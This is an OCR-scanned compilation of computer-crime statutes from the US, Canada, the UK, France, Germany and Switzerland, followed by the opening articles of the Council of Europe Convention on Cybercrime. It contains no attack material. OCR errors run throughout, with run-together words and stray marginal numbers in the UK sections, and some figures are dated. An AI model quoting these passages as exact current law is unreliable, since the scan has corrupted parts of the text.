software, computer program, computer server or
data base or any part thereof that is designed
to block, impede or deny the access of
information or initiation or completion of any
sale or transaction by users of that computer,
computer system, computer network, computer
software, computer program, computer server or

data base or any part thereof.

(b) Grading.--An offense under subsection (a)(1)

is a felony of the third degree. An offense under
subsection (a)(2), (3) or (4) is a misdemeanor

of the first degree.

(c) Definitions.--As used in this section the

following words and phrases shall have the

meanings given to them in this subsection:

"Access."
To intercept, instruct, communicate with,
store data in, retrieve data from or otherwise
make use of any resources of a computer,
computer system, computer network or data
base.

"Computer."
An electronic, magnetic, optical, hydraulic,
organic or other high speed data processing
device or system which performs logic,
arithmetic or memory functions and includes
all input, output, processing, storage,
software or communication facilities which

®
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are connected or related to the device in a
system or network.
"Computer network."
The interconnection of two or more computers
through the usage of satellite, microwave,
line or other communication medium.
"Computer program."
An ordered set of instructions or statements
and related data that, when automatically
executed in actual or modified form in a
computer system, causes it to perform
specified functions.
"Computer software."
A set of computer programs, procedures and
associated documentation concerned with the
operation of a computer system.
"Computer system."
A set of related, connected or unconnected
computer equipment, devices and software.
"Computer virus."
A computer program copied to or installed on
a computer, computer network, computer
program, computer software or computer system
without the informed consent of the owner of
the computer, computer network, computer
program, computer software or computer system
that may replicate itself and that causes
unauthorized activities within or by the
computer, computer network, computer program,

computer software or computer system.

(d) Restitution.--Upon conviction under this
section for the intentional distribution of a
computer virus, the sentence shall include an
order for the defendant to reimburse the victim
for:

the cost of repairing or, if necessary, replacing

the affected computer, computer system, computer

network, computer software, computer program or
data base;
lost profit for the period that the computer,
computer system, computer network, computer
software, computer program or data base is not
usable; or
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the cost of replacing or restoring the data lost
or damaged as a result of a violation of this

section.

342 1 342 2

430

342._1 Unauthorized use of computer
(1) Every one who, fraudulently and without colour
of right,

(a) obtains, directly or indirectly, any
computer service,

(b) by means of an electro-magnetic, acoustic,
mechanical or other device, intercepts or
causes to be intercepted, directly or
indirectly, any function of a computer
system,

(c) uses or causes to be used, directly or
indirectly, a computer system with intent to
commit an offence under paragraph (a) or (b)
or an offence under section 430 in relation
to data or a computer system, or

(d) uses, possesses, traffics in or permits
another person to have access to a computer
password that would enable a person to commit
an offence under paragraph (a), (b) or (c)

is guilty of an indictable offence and liable to

imprisonment for a term not exceeding ten years,
or is guilty of an offence punishable on summary
conviction.
Definitions
(2) In this section,
"computer password" mot de passe
"computer password" means any data by which a
computer service or computer system is capable
of being obtained or used;
"computer program” programme d*ordinateur
"computer program" means data representing
instructions or statements that, when executed
in a computer system, causes the computer system
to perform a function;
"computer service" service d"ordinateur
"computer service" includes data processing and
the storage or retrieval of data;

"computer system" ordinateur
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"computer system' means a device that, or a group
of interconnected or related devices one or more
of which,
(a) contains computer programs or other data,
and
(b) pursuant to computer programs,
(1) performs logic and control, and
(i1) may perform any other function;
"data" donnees
"data" means representations of information or
of concepts that are being prepared or have been
prepared in a form suitable for use in a computer
system;
"electro-magnetic, acoustic, mechanical or
other device" dispositif electromagnetique,
acoustique, mecanique ou autre
"electro-magnetic, acoustic, mechanical or
other device™ means any device or apparatus that
is used or is capable of being used to intercept
any function of a computer system, but does not
include a hearing aid used to correct subnormal
hearing of the user to not better than normal
hearing;
"function"  fonction
"function" includes logic, control, arithmetic,
deletion, storage and retrieval and
communication or telecommunication to, from or
within a computer systenm;
"intercept” intercepter
"intercept" includes listen to or record a
function of a computer system, or acquire the
substance, meaning or purport thereof.
"traffic" trafic
"traffic" means, in respect of a computer
password, to sell, export from or import into

Canada, distribute or deal with inany other way.

342.2

Possession of device to obtain computer service

(1) Every person who, without lawful
Justification or excuse, makes, possesses,
sells, offers for sale or distributes any
instrument or device or any component
thereof, the design of which renders it
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primarily useful for committing an offence
under section 342.1, under circumstances that
give rise to a reasonable inference that the
instrument, device or component has been used
or is or was intended to be used to commit an
offence contrary to that section,

(a) is guilty of an indictable offence and
liable to imprisonment for a term not
exceeding two years; or

(b) is guilty of an offence punishable on
summary conviction.

Forfeiture

(2) Where a person is convicted of an offence
under subsection (1), any instrument or
device, in relation to which the offence was
committed or the possession of which
constituted the offence, may, in addition to
any other punishment that may be imposed, be
ordered forfeited to Her Majesty, whereupon
it may be disposed of as the Attorney General
directs.

Limitation

(3) No order of forfeiture may be made under
subsection (2) in respect of any thing that is
the property of a person who was not a party to

the offence under subsection (1).

430.
(1) Every one commits mischief who wilfully

(a) destroys or damages property;

(b) renders property dangerous, useless,
inoperative or ineffective;

(c) obstructs, interrupts or interferes with the
lawful use, enjoyment or operation of
property; or

(d) obstructs, interrupts or interferes with any
person in the lawful use, enjoyment or
operation of property.

Mischief in relation to data
(1.1) Every one commits mischief who wilfully

(a) destroys or alters data;

(b) renders data meaningless, useless or
ineffective;

(c) obstructs, interrupts or interferes with the
lawful use of data; or
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(d) obstructs, interrupts or interferes with any
person in the lawful use of data or denies
access to data to any person who is entitled
to access thereto.

Punishment

(2) Every one who commits mischief that causes
actual danger to life is guilty of an indictable
offence and liable to imprisonment for life.

Punishment

(3) Every one who commits mischief in relation to
property that is a testamentary instrument or
the value of which exceeds five thousand dollars

(a) isguiltyofan indictable offence and liable
to imprisonment for a term not exceeding ten
years; or

(b) is guilty of an offence punishable on summary
conviction.

Idem

(4) Every one who commits mischief in relation to
property, other than property described in

subsection (3),

(a) isguiltyofan indictable offence and liable
to imprisonment for a term not exceeding two
years; or

(b) is guilty of an offence punishable on summary
conviction.

Idem

(5) Every one who commits mischief in relation to

data

(a) isguilty of an indictable offence and liable
to imprisonment for a term not exceeding ten
years; or

(b) is guilty of an offence punishable on summary
conviction.

Offence

(5.1) Every one who wilfully does an act or
wilfully omits to do an act that it is his duty
to do, if that act or omission is likely to
constitute mischief causing actual danger to
life, or to constitute mischief in relation to
property or data,

(a) isguilty of an indictable offence and liable
to imprisonment for a term not exceeding five
years; or

(b)
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(b) is guilty of an offence punishable on summary
conviction.
Saving
(6) No person commits mischief within the meaning
of this section by reason only that

() he stops work as a result of the failure of
his employer and himself to agree on any
matter relating to his employment;

(b) he stops work as a result of the failure of
his employer and a bargaining agent acting on
his behalf to agree on any matter relating to
his employment; or

(c) he stops work as a result of his taking part
in a combination of workmen or employees for
their own reasonable protection as workmen or
employees.

Idem

(7) No person commits mischief within the meaning
of this section by reason only that he attends
at or near or approaches a dwelling-house or
place for the purpose only of obtaining or
communicating information.

Definition of "data"

(8) In this section, "data" has the same meaning

as in section 342.1.

1990 1

1.
(1) A person is guilty of an offence if
(2) he causes a computer to perform any function with
intent to secure access to any program or data held
in any computer;
(b) the access he intends to secure is unauthorised;
and
(c) he knows at the time when he causes the computer
to perform the function that that is the case.
(2) The intent a person has to have to commit an offence
under this section need not be directed at?
(a) any particular program or data;
(b) a program or data of any particular kind; or
(c) aprogramor data held inany particular computer.
(3) A person guilty of an offence under this section

shall be liable on summary conviction to imprisonment
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for a term not exceeding six months or to a fine not
exceeding level 5 on the standard scale or to both. | (3)
2. Unauthorised access with intent to commit or 6
facilitate commission of further offences. 5
(1) A person is guilty of an offence under this section
if he commits an offence under section 1 above (“‘the
unauthorised access offence™) with intent? 2
(a) to commit an offence to which this section
applies; or ¢5)
(b) to facilitate the commission of such an offence (@
(whether by himself or by any other person);and the (b)
offence he intends to commit or facilitate is
referred to below in this section as the further 1 ( )
offence.
(2) This section applies to offences?
(a) for which the sentence is fixed by law; or (further offence)
(b) for which a person of twenty-one years of age or | (2)
over (not previously convicted) may be sentenced (@) (sentence is fixed by law)

to imprisonment for a term of five years (or, in

England and Wales, might be so sentenced but for ® ( )21 21 (
the restrictions imposed by section 33 of the [1980 18 )
c. 43.] Magistrates® Courts Act 1980). ( 2000
(3) It is immaterial for the purposes of this section )] 5
whether the further offence is to be committed on the (
same occasion as the unauthorised access offence or 1980
on any future occasion. 33 )

(4) A person may be guilty of an offence under this
section even though the facts are such that the | (3)
commission of the further offence is impossible.

(5) A person guilty of an offence under this section

shall be liable? 4)

() on summary conviction, to imprisonment for a term| (5)
not exceeding six months or to a fine not exceeding (@) 6
the statutory maximum or to both; and

(b) on conviction on indictment, to imprisonment for
a term not exceeding five years or to a fine or to (b) 5
both.

3.Unauthorised modification of computer material.

(1) A person is guilty of an offence if 3
(a) he does any act which causes an unauthorised | (1)

modification of the contents of any computer; and (@

(b) at the time when he does the act he has the
requisite intent and the requisite knowledge. (b)

(2) For the purposes of subsection (1)(b) above the
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requisite intent is an intent to cause a modification
of the contents of any computer and by so doing?
(a) to impair the operation of any computer;
(b) to prevent or hinder access to any program or data
held in any computer; or
(c) to impair the operation of any such program or
the reliability of any such data.
(3) The intent need not be directed at?
(a) any particular computer;
(b) any particular program or data or a program or
data of any particular kind; or
(c) any particular modification or a modification of
any particular kind.
(4) For the purposes of subsection (1)(b) above the
that
modification he intends to cause is unauthorised.

requisite knowledge 1is knowledge any

(5) It is immaterial for the purposes of this section
whether an unauthorised modification or any intended
effect of it of a kind mentioned in subsection (2)
above is, or is intended to be, permanent or merely
temporary.

(6) For the purposes of the [1971 c. 48.] Criminal
Damage Act 1971 a modification of the contents of a
computer shall not be regarded as damaging any
computer or computer storage medium unless its effect
on that computer or computer storage medium impairs
its physical condition.

(7) A person guilty of an offence under this section
shall be liable
() on summary conviction, to imprisonment for a term

not exceeding six months or to a fine not exceeding
the statutory maximum or to both; and
(b) on conviction on indictment, to imprisonment for

a term not exceeding five years or to a fine or to

both.
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226- 15 323- 1

323- 2 323- 3

Article 226-15:

Le fait, commis de mauvaise foi, d' ouvir, de
supprimer, de retarder ou de detourner des
correspondances arrivees ou non a destination et
adressees a des tiers, ou d’ en prendre frauduleusement
connaissance, est puni d un an d emprisonnement et
et de 300000 F d’ amende.

Est puni des memes peines le fait, commis de mauvaise
foi, d’ intercepter, de detourner, d utiliser ou de

226- 15
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divulguer des correspondances emises, transmises ou
recues par la voie des telecommunications ou de
proceder a I' installation d’' appareils concus pour
realiser de telles interceptions.

Article 323-

Le fait d"acceder ou de se maintenir, frauduleusement,
dans tout ou partie d"un systeme de traitement
automatise de donnees est puni d*un an d"emprisonnement
et de 100 000 F d"amende.

Lorsqu®il en est resulte soit la suppression ou la
modification de donnees contenues dans le systeme, soit
une alteration du fonctionnement de ce systeme, a peine
est de deux ans d"emprisonnement et de 200 000 F
d"amende.

Article 323-2:

Le fait d"entraver ou de fausser le fonctionnement d"un
systeme de traitement automatise de donnees est puni
de trois ans d"emprisonnement et de 300 000 F d*amende.
Article 323-3:

Le fait d"introduire frauduleusement des donnees dans
un systeme de traitement automatise ou de supprimer ou
de modifier frauduleusement des donnees qu*il contient
est puni de trois ans d"emprisonnement et de 300 000
F d"amende.

323- 1

20
323- 2

323- 3

10

202 a 269

274 303

303 a

303 b

§ 202a Ausspahen von Daten

(1) Wer unbefugt Daten, die nicht fur ihn bestimmt und
die gegen unberechtigten Zugang besonders gesichert
sind, sich oder einem anderen verschafft, wird mit
Freiheitsstrafe bis zu drei Jahren oder mit
Geldstrafe bestraft.

(2) Daten im Sinne des Absatzes 1 sind nur solche, die
elektronisch, magnetisch oder sonst nicht
unmittelbar wahrnehmbar gespeichert sind oder
ubermittelt werden.

§ 269 Falschung beweiserheblicher Daten

(€H) Wer zur  Tauschung im Rechtsverkehr
beweiserhebliche Daten so speichert oder verandert,
das bei ihrer Wahrnehmung eine unechte oder
verfalschte Urkunde vorliegen wurde, oder derart
gespeicherte oder veranderte Daten gebraucht, wird
mit Freiheitsstrafe bis zu funf Jahren oder mit
Geldstrafe bestraft.

(2) Der Versuch ist strafbar.

(3) 8 267 Abs. 3 und 4 gilt entsprechend.

§ 274 Urkundenunterdruckung, Veranderung einer

Grenzbezeichnung

202 a
€y
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(1) Mit Freiheitsstrafe bis zu funf Jahren oder mit

Geldstrafe wird bestraft, wer

1. eine Urkunde oder eine technische Aufzeichnung,
welche ihm entweder uberhaupt nicht oder nicht
ausschlieslich gehort, in der Absicht, einem
anderen Nachteil zuzufugen, vernichtet,
beschadigt oder unterdruckt,

2. beweiserhebliche Daten (§ 202a Abs. 2), uber die
er nicht oder nicht ausschlieslich verfugen darf,
in der Absicht, einem anderen Nachteil zuzufugen,
loscht, unterdruckt, unbrauchbar macht oder
verandert oder

3. einen Grenzstein oder ein anderes zur Bezeichnung
einer Grenze oder eines Wasserstandes bestimmtes
Merkmal in der Absicht, einem anderen Nachteil
zuzufugen, wegnimmt, vernichtet, unkenntlich
macht, verruckt oder falschlich setzt.

(2) Der Versuch ist strafbar.

Siebenundzwanzigster Abschnitt. Sachbeschadigung

§ 303 Sachbeschadigung

(1) Wer rechtswidrig eine fremde Sache beschadigt oder
zerstort, wirdmitFreiheitsstrafe bis zu zwei Jahren
oder mit Geldstrafe bestraft.

(2) Der Versuch ist strafbar.

§ 303a Datenveranderung
(1) Wer rechtswidrig Daten (8 202a Abs. 2) loscht,
unterdruckt, unbrauchbar macht oder verandert, wird
mit Freiheitsstrafe bis zu zwei Jahren oder mit
Geldstrafe bestraft.
(2) Der Versuch ist strafbar
§ 303b Computersabotage
(1) Wer eine Datenverarbeitung, die fur einen fremden
Betrieb, ein fremdes Unternehmen oder eine Behorde
von wesentlicher Bedeutung ist, dadurch stort, das
er
1. eine Tat nach § 303a Abs. 1 begeht oder
2. eine Datenverarbeitungsanlage oder einen
Datentrager zerstort, beschadigt, unbrauchbar
macht, beseitigt oder verandert,
wird mit Freiheitsstrafe bis zu funf Jahren oder mit
Geldstrafe bestraft.
(2) Der Versuch ist strafbar.
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6. A1 R
AARHE (B4 %D 2)

Art. 144 bis
1. Wer
vergleichbarer gespeicherte
ubermittelte léscht
unbrauchbar macht, wird, auf Antrag, mit Gefingnis

unbefugt elektronisch oder in

Weise oder

Daten ver#ndert, oder
oder mit Busse bestraft

Hat der Tater einen grossen Schaden verursacht, so
kann auf Zuchthaus bis zu funf Jahren erkannt
werden. Die Tat wird von Amtes wegen verfolgt.
2. Wer Programme, von denen er weiss oder annehmen
muss, dass sie zu den in Ziffer 1 genannten Zwecken
verwendet werden sollen, her-stellt, einfuhrt, in
Verkehr bringt, anpreist, anbiefet oder sonstwie
zuganglich macht oder zu ihrer Herstellung
Anleitung gibt, wird mit Gefangnis oder mit Busse
bestraft

Handelt der Tater gewerbsmissig, so kann auf

Zuchthaus bis zu funf Jahren erkannt werden.
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Convention on Cybercrime

Preamble

The member States of the Council of Europe and the other
States signatory hereto,

Considering that the aim of the Council of Europe is
to achieve a greater unity between its members;
Recognising the value of fostering co-operation with
the other States parties to this Convention;
Convinced of the need to pursue, as a matter of
priority, a common criminal policy aimed at the
protection of society against cybercrime, inter alia,
by adopting appropriate legislation and fostering
international co-operation;

Conscious of the profound changes brought about by the
digitalisation, convergence and continuing
globalisation of computer networks;

Concerned by the risk that computer networks and
electronic information may also be used for committing
criminal offences and that evidence relating to such
offences may be stored and transferred by these
networks;

Recognising the need for co-operation between States
and private industry in combating cybercrime and the
need to protect legitimate interests in the use and
development of information technologies;
Believing that an effective fight against cybercrime
requires increased, rapid and well-functioning
international co-operation in criminal matters;
Convinced that the present Convention Is necessary to
deter action directed against the confidentiality,
integrity and availability of computer systems,
networks and computer data as well as the misuse of such
systems, networks and data by providing for the
criminalisation of such conduct, as described in this
Convention, and the adoption of powers sufficient for
effectively combating such criminal offences, by
facilitating their detection, investigation and
prosecution at both the domestic and international
levels and by providing arrangements for fast and
reliable international co-operation;

Mindful of the need to ensure a proper balance between
the interests of law enforcement and respect for
fundamental human rights as enshrined in the 1950
Council of Europe Convention for the Protection of
Human Rights and Fundamental Freedoms, the 1966 United
Nations International Covenant on Civil and Political
Rights and other applicable international human rights
treaties, which reaffirm the right of everyone to hold
opinions without interference, as well as the right to
freedom of expression, including the freedom to seek,
receive, and impart information and ideas of all kinds,
regardless of frontiers, and the rights concerning the
respect for privacy;

Mindful also of the right to the protection of personal
data, as conferred, for example, by the 1981 Council
of Europe Convention for the Protection of Individuals
with regard to Automatic Processing of Personal Data;
Considering the 1989 United Nations Convention on the
Rights of the Child and the 1999 International Labour
Organization Worst Forms of Child Labour Convention;
Taking into account the existing Council of Europe
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conventions on co-operation in the penal field, as well
as similar treaties which exist between Council of
Europe member States and other States, and stressing
that the present Convention is intended to supplement
those conventions in order to make criminal
investigations and proceedings concerning criminal
offences related to computer systems and data more
effective and to enable the collection of evidence in
electronic form of a criminal offence;
Welcoming recent developments which further advance
international understanding and co-operation in
combating cybercrime, including action taken by the
United Nations, the OECD, the European Union and the
G8;

Recalling Committee of Ministers Recommendations No.
R (85) 10 concerning the practical application of the
European Convention on Mutual Assistance in Criminal
Matters in respect of letters rogatory for the
interception of telecommunications, No. R (88) 2 on
piracy in the field of copyright and neighbouring
rights, No. R (87) 15 regulating the use of personal
data in the police sector, No. R (95) 4 on the protection
of personal data in the area of telecommunication
services, with particular reference to telephone
services, as well as No. R (89) 9 on computer-related
crime providing guidelines for national legislatures
concerning the definition of certain computer crimes
and No. R (95) 13 concerning problems of criminal
procedural law connected with information technology;
Having regard to Resolution No. 1 adopted by the
European Ministers of Justice at their 21st Conference
(Prague, 10 and 11 June 1997), which recommended that
the Committee of Ministers support the work on
cybercrime carried out by the European Committee on
Crime Problems (CDPC) in order to bring domestic
criminal law provisions closer to each other and enable
the use of effective means of investigation into such
offences, as well as to Resolution No. 3 a dopted at the
23rd Conference of the European Ministers of Justice
(London, 8 and 9 June 2000), which encouraged the
negotiating parties to pursue their efforts with a view
to finding appropriate solutions to enable the largest
possible number of States to become parties to the
Convention and acknowledged the need for a swift and
efficient system of international co-operation, which
duly takes into account the specific requirements of
the fight against cybercrime;

Having also regard to the Action Plan adopted by the
Heads of State and Government of the Council of Europe
on the occasion of their Second Summit (Strasbourg, 10
and 11 October 1997), to seek common responses to the
development of the new information technologies based
on the standards and values of the Council of Europe;
Have agreed as follows:

Chapter 1 Use of terms
Article 1 Definitions
For the purposes of this Convention:

a "computer system" means any device or a group of
interconnected or related devices, one or more of
which, pursuant to a program, performs automatic
processing of data;

b* computer data” means any representation of
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facts, information or concepts in a form suitable

for processing in a computer system, including a

program suitable to cause a computer system to

perform a function;
c* service provider” means:

i any public or private entity that provides to
users of its service the ability to communicate
by means of a computer system, and

ii any other entity that processes or stores
computer data on behalf of such communication
service or users of such service;

d“ traffic data” means any computer data relating
to a communication by means of a computer system,
generated by a computer system that formed a part in
the chain of communication, indicating the
communication’ s origin, destination, route, time,
date, size, duration, or type of underlying service.

Chapter Il Measures to be taken at the national level
Section 1 Substantive criminal law

Title 1 Offences against the confidentiality,
integrity and availabi lity of computer data and systems
Article 2 Illegal access

Each Party shall adopt such legislative and other
measures as may be necessary to establish as criminal
offences under its domestic law, when committed
intentionally, the access to the whole or any part of
a computer system without right. A Party may require
that the offence be committed by infringing security
measures, with the intent of obtaining computer data
or other dishonest intent, or in relation to a computer
system that is connected to another computer system.
Article 3 Illegal interception

Each Party shall adopt such legislative and other
measures as may be necessary to establish as criminal
offences under its domestic law, when committed
intentionally, the interception without right, made by
technical means, of non-public transmissions of
computer data to, from or within a computer system,
including electromagnetic emissions from a computer
system carrying such computer data. A Party may require
that the offence be committed with dishonest intent,
or in relation to a computer system that is connected
to another computer system.

Article 4 Data interference

1 Each Party shall adopt such legislative and other
measures as may be necessary to establish as
criminal offences under its domestic law, when
committed intentionally, the damaging, deletion,
deterioration, alteration or suppression of
computer data without right.

2 A Party may reserve the right to require that the
conduct described in paragraph 1 result in serious
harm.

Article 5 System interference

Each Party shall adopt such legislative and other
measures as may be necessary to establish as criminal
offences under its domestic law, when committed
intentionally, the serious hindering without right of
the functioning of a computer system by inputting,
transmitting, damaging, deleting, deteriorating,
altering or suppressing computer data.

Article 6 Misuse of devices
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1 Each Party shall adopt such legislative and
other measures as may be necessary to establish as
criminal offences under its domestic law, when
committed intentionally and without right:

a the production, sale, procurement for use,
import, distribution or otherwise making
available of:

i a device, including a computer program,
designed or adapted primarily for the purpose
of committing any of the offences established
in accordance with the above Articles 2
through 5;

ii a computer password, access code, or similar
data by which the whole or any part of a
computer system is capable of being accessed,

with intent that it be used for the purpose of

committing any of the offences established in

Articles 2 through 5; and

b the possession of an item referred to in
paragraphs a.i or ii above, with intent that it
be used for the purpose of committing any of the
offences established in Articles 2 through 5. A
Party may require by law that a number of such
items be possessed before criminal liability
attaches.

2 This article shall not be interpreted as imposing
criminal liability where the production, sale,
procurement for use, import, distribution or
otherwise making available or possession referred
to in paragraph 1 of this article is not for the
purpose of committing an offence established in
accordance with Articles 2 through 5 of this
Convention, such as for the authorised testing or
protection of a computer system.

3 Each Party may reserve the right not to apply
paragraph 1 of this article, provided that the
reservation does not concern the sale,
distribution or otherwise making available of the
items referred to in paragraph 1 a.ii of this
article.

Title 2 Computer-related offences

Article 7 Computer-related forgery

Each Party shall adopt such legislative and other
measures as may be necessary to establish as criminal
offences under 1its domestic law, when committed
intentionally and without right, the input,
alteration, deletion, or suppression of computer data,
resulting in inauthentic data with the intent that it
be considered or acted upon for legal purposes as if
it were authentic, regardless whether or not the data
is directly readable and intelligible. A Party may
require an intent to defraud, or similar dishonest
intent, before criminal liability attaches.
Article 8 Computer-related fraud

Each Party shall adopt such legislative and other
measures as may be necessary to establish as criminal
offences under its domestic law, when committed
intentionally and without right, the causing of a loss
of property to another person by:

a any input, alteration, deletion or suppression of
computer data;

b any interference with the functioning of a
computer system,
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with fraudulent or dishonest intent of procuring,
without right, an economic benefit for oneself or for
another person.
Title 3 Content-related offences
Article 9 Offences related to child pornography
1 Each Party shall adopt such legislative and
other measures as may be necessary to establish as
criminal offences under its domestic law, when
committed intentionally and without right, the
following conduct:
a producing child pornography for the purpose of
its distribution through a computer system;
b offering or making available child pornography
through a computer system;
¢ distributing or transmitting child pornography
through a computer system;
d procuring child pornography through a computer
system for oneself or for another person;
e possessing child pornography in a computer
system or on a computer-data storage medium.
2 For the purpose of paragraph 1 above, the term
“ child pornography” shall include pornographic
material that visually depicts:
a a minor engaged in sexually explicit conduct;
b a person appearing to be a minor engaged in
sexually explicit conduct;
c realistic images representing a minor engaged in
sexually explicit conduct.
3 For the purpose of paragraph 2 above, the term
“ minor” shall include all persons under 18 years
of age. A Party may, however, require a lower
age-limit, which shall be not less than 16 years.
4 Each Party may reserve the right not to apply, in
whole or in part, paragraphs 1, sub-paragraphs d.
and e, and 2, sub-paragraphs b. and c.
Title 4 Offences related to infringements of copyright
and related rights
Article 10 Offences related to infringements of
copyright and related rights
1 Each Party shall adopt such legislative and other
measures as may be necessary to establish as criminal
offences under its domestic law the infringement of
copyright, as defined under the law of that Party, | (
pursuant to the obligations it has undertaken under the
Paris Act of 24 July 1971 revising the Bern Convention
for the Protection of Literary and Artistic Works, the
Agreement on Trade-Related Aspects of Intellectual
Property Rights and the WIPO Copyright Treaty, with the
exception of any moral rights conferred by such
conventions, where such acts are committed wilfully,
on a commercial scale and by means of a computer system.
2 Each Party shall adopt such legislative and other
measures as may be necessary to establish as criminal
offences under its domestic law the infringement of
related rights, as defined under the law of that Party,
pursuant to the obligations it has undertaken under the
International Convention for the Protection of
Performers, Producers of Phonograms and Broadcasting
Organisations (Rome Convention), the Agreement on
Trade-Related Aspects of Intellectual Property Rights
and the WIPO Performances and Phonograms Treaty, with
the exception of any moral rights conferred by such
conventions, where such acts are committed wilfully,
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on a commercial scale and by means of a computer system.
3 A Party may reserve the right not to impose criminal
liability under paragraphs 1 and 2 of this article in
limited circumstances, provided that other effective
remedies are available and that such reservation does
not derogate from the Party’ s international
obligations set forth in the international instruments
referred to in paragraphs 1 and 2 of this article.
Title 5 Ancillary liability and sanctions

Article 11 Attempt and aiding or abetting

1 Each Party shall adopt such legislative and other
measures as may be necessary to establish as
criminal offences under its domestic law, when
committed intentionally, aiding or abetting the
commission of any of the offences established in
accordance with Articles 2 through 10 of the
present Convention with intent that such offence
be committed.

2 Each Party shall adopt such legislative and other
measures as may be necessary to establish as
criminal offences under its domestic law, when
committed intentionally, an attempt to commit any
of the offences established in accordance with
Articles 3 through 5, 7, 8, and 9.1.a and c. of this
Convention.

3 Each Party may reserve the right not to apply, in
whole or in part, paragraph 2 of this article.

Article 12 Corporate liability

1 Each Party shall adopt such legislative and other
measures as may be necessary to ensure that legal
persons can be held liable for a criminal offence
established in accordance with this Convention,
committed for their benefit by any natural person,
acting either individually or as part of an organ
of the legal person, who has a leading position
within it, based on:

a a power of representation of the legal person;

b an authority to take decisions on behalf of the
legal person;

c an authority to exercise control within the
legal person.

2 In addition to the cases already provided for in
paragraph 1 of this article, each Party shall take
the measures necessary to ensure that a legal
person can be held liable where the lack of
supervision or control by a natural person
referred to in paragraph 1 has made possible the
commission of a criminal offence established in
accordance with this Convention for the benefit of
that legal person by a natural person acting under
its authority.

3 Subject to the legal principles of the Party, the
liability of a legal person may be criminal, civil
or administrative.

4 Such liability shall be without prejudice to the
criminal liability of the natural persons who have
committed the offence.

Article 13 Sanctions and measures

1 Each Party shall adopt such legislative and other
measures as may be necessary to ensure that the
criminal offences established in accordance with
Articles 2 through 11 are punishable by effective,
proportionate and dissuasive sanctions, which
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include deprivation of liberty.

Each Party shall ensure that legal persons held
liable in accordance with Article 12 shall be
subject to effective, proportionate and
dissuasive criminal or non-criminal sanctions or
measures, including monetary sanctions.
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